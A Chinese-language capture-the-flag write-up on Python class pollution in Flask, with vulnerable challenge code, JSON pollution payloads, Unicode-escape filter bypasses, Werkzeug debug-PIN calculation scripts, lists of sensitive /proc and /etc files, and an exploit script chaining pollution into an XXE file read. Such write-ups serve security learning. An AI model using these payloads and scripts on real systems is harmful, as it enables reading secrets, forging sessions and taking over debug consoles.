NodeJs原型链污染中,对象的__proto__
属性,指向这个对象所在的类的prototype
属性。如果我们修改了son.__proto__
中的值,就可以修改父类。
在Python中,所有以双下划线__
包起来的方法,统称为Magic Method(魔术方法) ,它是一种的特殊方法,普通方法需要调用,而魔术方法不需要调用就可以自动执行。
__class__
方法用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 (题中可以不加)
__init__()
方法是一种特殊的方法,被称为类的构造函数或初始化方法(类似PHP中的__construct()),当创建了这个类的实例时就会调用该方法。
__globals__
对 保存函数全局变量的字典 的引用——定义函数的模块的全局命名空间。只读,但是可以修改无继承关系的类属性甚至全局变量
__file__
全局变量,返回当前文件路径(目录)
1 2 3 4 5 6 7 8 9 10 11 12 13 secret_var = 114 def test (): pass class a : def __init__ (self ): pass print (test.__globals__ == globals () == a.__init__.__globals__)
直接看题
[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
一眼merge函数考虑打原型链污染
查看调用
并且在最后发现直接回显全局变量__file__
1 2 3 @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read()
那么可以考虑直接污染__file__
的值
常见的linux系统下环境变量的路径:
1 2 3 4 5 6 7 8 9 /proc/1/environ (本题flag就在这里) /proc/self/environ /etc/profile /etc/profile.d/*.sh ~/.bash_profile ~/.bashrc /etc/bashrc /proc/self/mem /proc/self/maps
放在proc目录(3,4)下的环境变量配置文件,只会对当前用户起作用;在/etc下的环境变量所有的用户都起作用;
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "username" : "aaa" , "password" : "bbb" , "__class__" : { "check" : { "__globals__" : { "__file__" : "/proc/1/environ" } } } } { "username" : "aaa" , "password" : "bbb" , "__init__" : { "__globals__" : { "__file__" : "/proc/1/environ" } } }
法二
1 2 3 4 5 6 7 8 9 10 11 { "username" : aaa, "password" : bbb, "__init\u005f_" : { "__globals__" : { "app" : { "_static_folder" : "/" } } } }
在 Python 中,全局变量 app
和 _static_folder
通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。
app
全局变量:
app
是 Flask 应用的实例,是一个 Flask
对象。通过创建 app
对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route
装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
app
对象包含了大量的功能和方法,例如 route
、run
、add_url_rule
等,这些方法用于处理请求和设置应用的各种配置。
通过 app.run()
方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
_static_folder
全局变量:
_static_folder
是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
在 Flask 中,可以通过 app.static_folder
属性来访问 _static_folder
,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static
文件夹中。
Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。
综上所述,app
和 _static_folder
这两个全局变量在 Flask 应用中都扮演着重要的角色,app
是整个应用的核心实例,用于处理请求和设置应用的配置,而 _static_folder
是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。
/static/proc/1/environ
:由于”_static_folder”:”/“把静态目录直接设置为了根目录,所以根目录下/proc/1/environ
可以通过访问静态目录/static/proc/1/environ
访问。
法三
来自
DASCTF 2023 & 0X401七月暑期挑战赛 Web方向 EzFlask ez_cms MyPicDisk 详细题解wp-CSDN博客
访问/console
路由
PIN码
也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式
pin码生成要六要素:
1.username 通过getpass.getuser()读取或者通过文件读取/etc/passwd
2.modname 通过getattr(mod,“file”,None)读取,默认值为flask.app
3.appname 通过getattr(app,“name”,type(app).name)读取,默认值为Flask
4.moddir flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
6.machine_id 机器码,每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id
或/proc/sys/kernel/random/boot_id
,docker靶机则读取/proc/self/cgroup
,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取。一般生成pin码不对就是这错了
python3.6采用MD5加密,3.8采用sha1 加密。脚本们如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '25214234362297' , '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ '2485377581187' , '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
那就开始用 解法一 读取PIN值六要素
username :root
modname :默认值为flask.app
appname :默认值为Flask
moddir :/usr/local/lib/python3.10/site-packages/flask/app.py
uuidnode :4e:35:a1:94:9e:da
十进制是85992251104986
machine_id :96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope
其中,以docker
为界限。
96cec10d3d9307792745ec3b85c89620 在/proc/sys/kernel/random/boot_id
里面
docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope 在/proc/self/cgroup
里面
解题脚本来源:2023DASCTF&0X401 WriteUp (qq.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ '85992251104986' , '96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455
运行结果:960-245-355
成功进入控制台
获取flag
(3条消息) 关于ctf中flask算pin总结_丨Arcueid丨的博客-CSDN博客
(3条消息) Flask debug模式算pin码_flask pin码_Ys3ter的博客-CSDN博客
ctfshow easy_polluted 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from flask import Flask, session, redirect, url_for,request,render_templateimport osimport hashlibimport jsonimport redef generate_random_md5 (): random_string = os.urandom(16 ) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def filter (user_input ): blacklisted_patterns = ['init' , 'global' , 'env' , 'app' , '_' , 'string' ] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil (): def __init__ (self ): pass @app.route('/' ,methods=['POST' ] ) def index (): username = request.form.get('username' ) password = request.form.get('password' ) session["username" ] = username session["password" ] = password Evil = evil() if request.data: if filter (str (request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else : merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html" ) @app.route('/admin' ,methods=['POST' , 'GET' ] ) def templates (): username = session.get("username" , None ) password = session.get("password" , None ) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html" , flag=open ("/flag" , "rt" ).read()) else : return "Unauthorized" else : return f'Hello, This is the POLLUTED page.' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
不难看出只需将app.secret_key污染成我们想要的值即可
经典merge函数,对于merge函数进行分析,整体就是实现一个合并功能
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
__getitem__
是一个魔法函数
当对一个对象使用 obj[key] 语法时,Python 会自动调用 obj.__getitem__(key)
方法。
这使得自定义对象可以像内置的容器(如列表、字典)一样使用索引。
1 2 3 4 5 6 7 8 9 class MyContainer : def __init__ (self ): self.data = [1 , 2 , 3 ] def __getitem__ (self, index ): return self.data[index] container = MyContainer() print (container[0 ])
1 2 3 4 5 6 7 8 9 10 11 12 { "username" : "adminer" , "password" : "123" , "__init__" : { "__globals__" : { "app" : { "secret_key" : "123" , "_static_folder" : "/" } } } }
有waf,用unicode绕过(json.loads可以加载unicode)
1 {"username":"adminer","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u0061\u0070\u0070" :{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "123","\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}}
另附官方题解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import requestsimport jsondef poc_1 (session, url ): headers = { "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Content-Type" : "application/json" , "Host" : "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show" } res = session.post(url=url, headers=headers, data=json.dumps({ r"\u005F\u005F\u0069nit\u005F\u005F" : { r"\u005F\u005F\u0067lobals\u005F\u005F" : { r"\u0061pp" : { "config" : { r"SECRET\u005FKEY" : "Dragonkeep" } } } } }), verify=False ) return res.text def poc_2 (session, url ): headers = { "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Content-Type" : "application/json" , "Host" : "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show" } res = session.post(url=url, headers=headers, data=json.dumps({ r"\u005F\u005F\u0069nit\u005F\u005F" : { r"\u005F\u005F\u0067lobals\u005F\u005F" : { r"\u0061pp" : { r"jinja\u005F\u0065nv" : { r"variable\u005Fstart\u005F\u0073tring" : "[#" , r"variable\u005Fend\u005F\u0073tring" : "#]" } } } } }), verify=False ) return res.text def poc_admin (session, url ): url = url + "/admin" headers = { "Host" : "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show" , 'Cookie' : 'session=eyJwYXNzd29yZCI6IkRyYWdvbmtlZXAiLCJ1c2VybmFtZSI6ImFkbWluZXIifQ.ZoPoJw.XozJYtjOp2mah8LEEoPZZzdIjzc' } res = session.post(url=url, headers=headers, data=json.dumps({ r"\u005F\u005F\u0069nit\u005F\u005F" : { r"\u005F\u005F\u0067lobals\u005F\u005F" : { r"\u0061pp" : { r"jinja\u005F\u0065nv" : { r"variable\u005Fstart\u005F\u0073tring" : "[#" , r"variable\u005Fend\u005F\u0073tring" : "#]" } } } } }), verify=False ) return res if __name__ == '__main__' : url = "http://fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show/" session = requests.Session() result1 = poc_1(session, url) print (result1) result2 = poc_2(session, url) print (result2) flag = poc_admin(session, url) print (flag.text)
[GHCTF 2024 新生赛]Po11uti0n~~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport json''' @Author: hey @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits. * Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love. ''' app = Flask(__name__) app.secret_key = str (uuid.uuid4()) def cannot_be_bypassed (data ): for i in black_list: if i in data: return False return True def magicallllll (src, dst ): if hasattr (dst, '__getitem__' ): for key in src: if isinstance (src[key], dict ): if key in dst and isinstance (src[key], dict ): magicallllll(src[key], dst[key]) else : dst[key] = src[key] else : dst[key] = src[key] else : for key, value in src.items() : if hasattr (dst,key) and isinstance (value, dict ): magicallllll(value,getattr (dst, key)) else : setattr (dst, key, value) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/user/register' ,methods=['POST' ] ) def register (): if request.data: try : if not cannot_be_bypassed(request.data): return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" User = user() magicallllll(data, User) Users.append(User) except Exception: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" return "Congratulations,The username and password is correct,Register Success!!!" else : return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" @app.route('/user/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "The username or password is incorrect,Login Failed,Please log in again!!!" for user in Users: if user.cannot_be_bypassed(data): session["username" ] = data["username" ] return "Congratulations,The username and password is correct,Login Success!!!" except Exception: return "The username or password is incorrect,Login Failed,Please log in again!!!" return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8080 )
法一
payload
1 { "username" : "abc" , "password" : "123" , "__class__" : { "check" : { "__globals__" : { "__file__" : "/proc/1/environ" } } } }
1 { "username" : "abc" , "password" : "123" , "\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" : { "\u0063\u0068\u0065\u0063\u006b" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f" : "\u002f\u0070\u0072\u006f\u0063\u002f\u0031\u002f\u0065\u006e\u0076\u0069\u0072\u006f\u006e" } } } }
法二
1 { "username" : "ten" , "password" : "123456" , "__init__" : { "__globals__" : { "app" : { "_static_folder" : "/" } } } }
unicode
1 { "username" : "ten" , "password" : "123456" , "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072" : "/" } } } }
访问/static/xxx就可以任意文件下载
看到拉神一题,摘抄一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 import jsonfrom lxml import etreefrom flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonifyapp = Flask(__name__) app.secret_key = 'a123456' app.config['xml_data' ] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>' class User : def __init__ (self, username, password ): self.username = username self.password = password def check (self, data ): return self.username == data['username' ] and self.password == data['password' ] admin = User('admin' , '123456j1rrynonono' ) Users = [admin] def update (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and isinstance (v, dict ): update(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and isinstance (v, dict ): update(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] for u in Users: if u.username == username: flash('用户名已存在' , 'error' ) return redirect(url_for('register' )) new_user = User(username, password) Users.append(new_user) flash('注册成功!请登录' , 'success' ) return redirect(url_for('login' )) else : return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] for u in Users: if u.check({'username' : username, 'password' : password}): session['username' ] = username flash('登录成功' , 'success' ) return redirect(url_for('dashboard' )) flash('用户名或密码错误' , 'error' ) return redirect(url_for('login' )) else : return render_template('login.html' ) @app.route('/play' , methods=['GET' , 'POST' ] ) def play (): if 'username' in session: with open ('/app/templates/play.html' , 'r' , encoding='utf-8' ) as file: play_html = file.read() return play_html flash('请先登录' , 'error' ) return redirect(url_for('login' )) @app.route('/admin' , methods=['GET' , 'POST' ] ) def admin (): if 'username' in session and session['username' ] == 'admin' : return render_template('admin.html' , username=session['username' ]) flash('你没有权限访问' , 'error' ) return redirect(url_for('login' )) @app.route('/downloads321' ) def downloads321 (): return send_file('./source/app.pyc' , as_attachment=True ) @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/dashboard' ) def dashboard (): if 'username' in session: is_admin = session['username' ] == 'admin' if is_admin: user_tag = 'Admin User' else : user_tag = 'Normal User' return render_template('dashboard.html' , username=session['username' ], tag=user_tag, is_admin=is_admin) flash('请先登录' , 'error' ) return redirect(url_for('login' )) @app.route('/xml_parse' ) def xml_parse (): try : xml_bytes = app.config['xml_data' ].encode('utf-8' ) parser = etree.XMLParser(load_dtd=True , resolve_entities=True ) tree = etree.fromstring(xml_bytes, parser=parser) result_xml = etree.tostring(tree, pretty_print=True , encoding='utf-8' , xml_declaration=True ) return Response(result_xml, mimetype='application/xml' ) except etree.XMLSyntaxError as e: return str (e) black_list = ['__class__' .encode(), '__init__' .encode(), '__globals__' .encode()] def check (data ): print (data) for i in black_list: print (i) if i in data: print (i) return False return True @app.route('/update' , methods=['POST' ] ) def update_route (): if 'username' in session and session['username' ] == 'admin' : if request.data: try : if not check(request.data): return ('NONONO, Bad Hacker' , 403 ) data = json.loads(request.data.decode()) print (data) if all (('static' not in str (value) and 'dtd' not in str (value) and ('file' not in str (value)) and ('environ' not in str (value)) for value in data.values())): update(data, User) return (jsonify({'message' : '更新成功' }), 200 ) return ('Invalid character' , 400 ) except Exception as e: return (f'Exception: {str (e)} ' , 500 ) else : return ('No data provided' , 400 ) else : flash('你没有权限访问' , 'error' ) return redirect(url_for('login' )) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 , debug=False )
审计代码,/update
原型链污染 app.config['xml_data']
为恶意xml代码,再访问 /xml_parse
触发XXE漏洞读文件。
原型链污染部分,用unicode编码绕过字符串过滤;XXE部分,将payload编码为UTF-16BE绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport osurl = 'http://80-cdb52045-af65-4bfe-96b9-57db1b26eac5.challenge.ctfplus.cn' cookie = { 'session' :'eyJ1c2VybmFtZSI6ImFkbWluIn0.ZyUV7A.z-zuf8kzQ61LEbcsR7J4i80SyP0' } xml_data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag">]><foo>&xxe;</foo>' xml_data2 = os.popen(f'''echo '{xml_data} '| iconv -f utf-8 -t utf-16be''' ).read() print (xml_data2)json = { '\u005f_init__' :{ '\u005f_globals__' :{ 'app' :{ 'config' :{ 'xml_data' :xml_data2 } } } } } r = requests.post(f'{url} /update' ,json=json,cookies=cookie) print (r.text)r = requests.get(f'{url} /xml_parse' ) print (r.text)